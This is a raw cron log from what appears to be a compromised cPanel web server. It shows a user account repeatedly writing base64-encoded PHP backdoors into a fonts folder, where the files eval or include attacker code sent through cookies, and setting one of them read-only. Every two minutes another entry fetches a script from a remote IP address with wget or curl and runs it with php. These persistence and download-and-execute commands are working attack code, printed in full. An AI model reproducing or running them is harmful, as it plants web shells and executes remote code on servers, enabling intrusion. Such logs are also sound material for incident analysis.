Sep 20 22:37:01 ip-184-168-122-23 CROND[19577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:37:01 ip-184-168-122-23 CROND[19579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:37:01 ip-184-168-122-23 CROND[19578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:38:01 ip-184-168-122-23 CROND[19752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:38:01 ip-184-168-122-23 CROND[19755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:38:01 ip-184-168-122-23 CROND[19756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:38:01 ip-184-168-122-23 CROND[19753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:38:01 ip-184-168-122-23 CROND[19754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:39:01 ip-184-168-122-23 CROND[19845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:39:01 ip-184-168-122-23 CROND[19847]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 22:39:01 ip-184-168-122-23 CROND[19848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:39:01 ip-184-168-122-23 CROND[19849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:39:01 ip-184-168-122-23 CROND[19850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:40:02 ip-184-168-122-23 CROND[19983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 22:40:02 ip-184-168-122-23 CROND[19984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:40:02 ip-184-168-122-23 CROND[19985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:40:02 ip-184-168-122-23 CROND[19991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:40:02 ip-184-168-122-23 CROND[19990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:40:02 ip-184-168-122-23 CROND[19992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:40:02 ip-184-168-122-23 CROND[19993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:40:02 ip-184-168-122-23 CROND[19994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:41:01 ip-184-168-122-23 CROND[20107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:41:01 ip-184-168-122-23 CROND[20108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:41:01 ip-184-168-122-23 CROND[20109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:41:01 ip-184-168-122-23 CROND[20110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:42:01 ip-184-168-122-23 CROND[20192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:42:01 ip-184-168-122-23 CROND[20195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:42:01 ip-184-168-122-23 CROND[20194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:42:01 ip-184-168-122-23 CROND[20197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:42:01 ip-184-168-122-23 CROND[20196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:43:01 ip-184-168-122-23 CROND[20325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:43:01 ip-184-168-122-23 CROND[20328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:43:01 ip-184-168-122-23 CROND[20327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:43:01 ip-184-168-122-23 CROND[20329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:44:01 ip-184-168-122-23 CROND[20443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:44:01 ip-184-168-122-23 CROND[20447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:44:01 ip-184-168-122-23 CROND[20445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:44:01 ip-184-168-122-23 CROND[20448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:44:01 ip-184-168-122-23 CROND[20446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:45:01 ip-184-168-122-23 CROND[20544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:45:01 ip-184-168-122-23 CROND[20546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:45:01 ip-184-168-122-23 CROND[20548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:45:01 ip-184-168-122-23 CROND[20551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:45:01 ip-184-168-122-23 CROND[20552]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:45:01 ip-184-168-122-23 CROND[20549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:46:01 ip-184-168-122-23 CROND[20639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:46:01 ip-184-168-122-23 CROND[20641]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 22:46:01 ip-184-168-122-23 CROND[20642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:46:01 ip-184-168-122-23 CROND[20644]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:46:01 ip-184-168-122-23 CROND[20646]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 22:46:01 ip-184-168-122-23 CROND[20648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:46:01 ip-184-168-122-23 CROND[20649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:47:01 ip-184-168-122-23 CROND[20744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:47:01 ip-184-168-122-23 CROND[20746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:47:01 ip-184-168-122-23 CROND[20747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:47:01 ip-184-168-122-23 CROND[20748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:48:01 ip-184-168-122-23 CROND[20826]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:48:01 ip-184-168-122-23 CROND[20824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:48:01 ip-184-168-122-23 CROND[20827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:48:01 ip-184-168-122-23 CROND[20823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:48:01 ip-184-168-122-23 CROND[20825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:49:01 ip-184-168-122-23 CROND[20909]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
